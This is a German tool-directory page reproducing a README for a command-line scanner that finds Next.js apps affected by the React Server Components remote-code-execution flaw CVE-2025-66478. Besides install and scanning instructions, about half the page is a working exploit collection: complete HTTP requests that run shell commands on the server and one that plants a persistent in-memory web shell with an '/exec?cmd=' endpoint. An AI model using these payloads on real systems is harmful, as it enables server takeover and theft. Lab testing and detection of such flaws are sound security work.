Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Next.js-RSC-RCE-Scanner-CVE-2025-66478 — Ein Kommandozeilen-Scanner für die Batch-Erkennung von Next.js-Anwendungsversionen und die Bestimmung, ob sie von der Schwachstelle CVE-2025-66478 betroffen sind. | Kitploit
Tools/GitHubGitHub/malayke/next.js-rsc-rce-scanner-cve-2025-66478
SchwachstellenscannerExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsPayload-Entwicklung
GitHubmalayke/next.js-rsc-rce-scanner-cve-2025-66478

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Ein Kommandozeilen-Scanner für die Batch-Erkennung von Next.js-Anwendungsversionen und die Bestimmung, ob sie von der Schwachstelle CVE-2025-66478 betroffen sind.

Repository anzeigen
429829vor 9 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Next.js RSC RCE Scanner und POC/Exploit-Sammlung (CVE-2025-66478)

Ein Befehlszeilen-Scanner zur Batch-Erkennung von Next.js-Anwendungsversionen und zur Bestimmung, ob sie von der Schwachstelle CVE-2025-66478 betroffen sind.

Dieser Scanner nutzt die Schwachstelle nicht aus

Schwachstellenbeschreibung

https://nextjs.org/blog/CVE-2025-66478

Installation

Voraussetzungen

  • Go 1.19 oder höher
  • Chrome/Chromium-Browser (go-rod wird automatisch heruntergeladen)
git clone https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478

Build

cd Next.js-RSC-RCE-Scanner-CVE-2025-66478
go build -o nextjs-rce-scanner
# Windows Build
go build -o nextjs-rce-scanner.exe

Verwendung

# Scan mit hoher Parallelität (10 gleichzeitig)
./nextjs-rce-scanner -file urls.txt -c 10
# GUI-Modus (zum Debuggen):
./nextjs-rce-scanner -urls "https://example.com" -headless=false
# Benutzerdefiniertes Timeout
./nextjs-rce-scanner -file urls.txt -timeout 60
# Für headless Server (Ubuntu/Debian) – Chrome-Flags hinzufügen
./nextjs-rce-scanner -file urls.txt -chrome-flags '--no-sandbox,--disable-setuid-sandbox'
# Systeminstalliertes Chrome/Chromium verwenden
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/google-chrome
# Chrome-Binärpfad mit Flags kombinieren (für Server)
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/chromium-browser -chrome-flags '--no-sandbox'
# Bestimmte URLs filtern und scannen
cat urls.txt | grep ".com" | ./nextjs-rce-scanner
# Kombinieren mit anderen Unix-Tools
cat urls.txt | head -10 | ./nextjs-rce-scanner -c 3

Häufige Chrome-Binärpfade

Klicken, um Pfade zu erweitern

Linux:

  • Ubuntu/Debian: /usr/bin/google-chrome oder /usr/bin/chromium-browser
  • CentOS/RHEL: /usr/bin/google-chrome-stable oder /usr/bin/chromium
  • Flatpak: /var/lib/flatpak/exports/bin/com.google.Chrome

macOS:

  • /Applications/Google Chrome.app/Contents/MacOS/Google Chrome
  • /Applications/Chromium.app/Contents/MacOS/Chromium

Windows:

  • C:\Program Files\Google\Chrome\Application\chrome.exe
  • C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Funktionsweise

  1. Verwendet go-rod, um den Chrome-Browser zu starten
  2. Erstellt einen Page-Pool zur Verwaltung der Parallelität
  3. Besucht die Ziel-URL und wartet auf das Laden der Seite
  4. Führt JavaScript window.next.version aus, um Versionsinformationen zu erhalten
  5. Analysiert die Versionsnummer und bestimmt basierend auf dem Schwachstellenbereich
  6. Gibt die Scanergebnisse aus

Einrichtung einer angreifbaren Umgebung

Angreifbare Version mit create-next-app installieren

npx [email protected] my-cve-2025-66478-app
cd my-cve-2025-66478-app
# Starten der Anwendung
npm run dev

Pop-Rechner

Klicken, um Payload zu erweitern
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 578

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('open -a Calculator');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

🚨 Runtime Memory Shell 🚨

Zuerst die MemShell einrichten

Klicken, um Payload zu erweitern
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 1176

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Dann Anfrage an den MemShell-Endpunkt, um einen Befehl auszuführen

curl "http://localhost:3000/exec?cmd=ls+-l"

Payload, das die Ausgabe der Befehlsausführung im Antwortkörper anzeigt (am nützlichsten)

Klicken, um Payload zu erweitern
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Payload, das die Ausgabe der Befehlsausführung im Antwort-Header anzeigt

Klicken, um Payload zu erweitern
Tool herunterladen